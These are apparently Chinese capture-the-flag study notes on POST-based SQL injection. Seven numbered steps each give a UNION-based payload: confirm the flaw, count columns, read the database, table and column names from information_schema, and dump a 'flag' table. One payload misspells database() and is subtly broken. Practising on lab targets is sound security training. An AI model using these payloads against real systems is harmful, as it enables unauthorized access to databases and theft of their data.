POST注入与GET注入区别在于POST注入在传参时,参数值不会在URL中显示;
POST注入方法与GET注入方法一致;
注入方法:
1、判断是否存在注入,' or 1=1 -- Mr
2、判断表中字段个数,' or 1=1 order by 3 -- Mr
3、找到显错位,' and 1=1 union select 1,2,3 -- Mr
4、输出数据库名,' and 1=2 union select 1,database(),3 -- Mr
5、输出表名:
表名一:
' and 1=2 union select 1,database(),table_name from information_schema.tables where table_schema=database() limit 0,1 -- Mr
表名二:
' and 1=2 union select 1,database(),table_name from information_schema.tables where table_schema=databse() limit 1,1 -- Mr
6、输出字段名:
字段名一:
' and 1=2 union select 1,database(), column_name from information_schema.columns where table_schema=database() and table_name='flag' limit 0,1 -- Mr
字段名二:
' and 1=2 union select 1,database(), column_name from information_schema.columns where table_schema=database() and table_name='flag' limit 1,1 -- Mr
7、输出flag:
flag(一):
' and 1=2 union select 1,id,flag from flag limit 0,1 -- Mr
flag(二):
' and 1=2 union select 1,id,flag from flag limit 1,1 -- Mr
flag(三):
' and 1=2 union select 1,id,flag from flag limit 2,1 -- Mr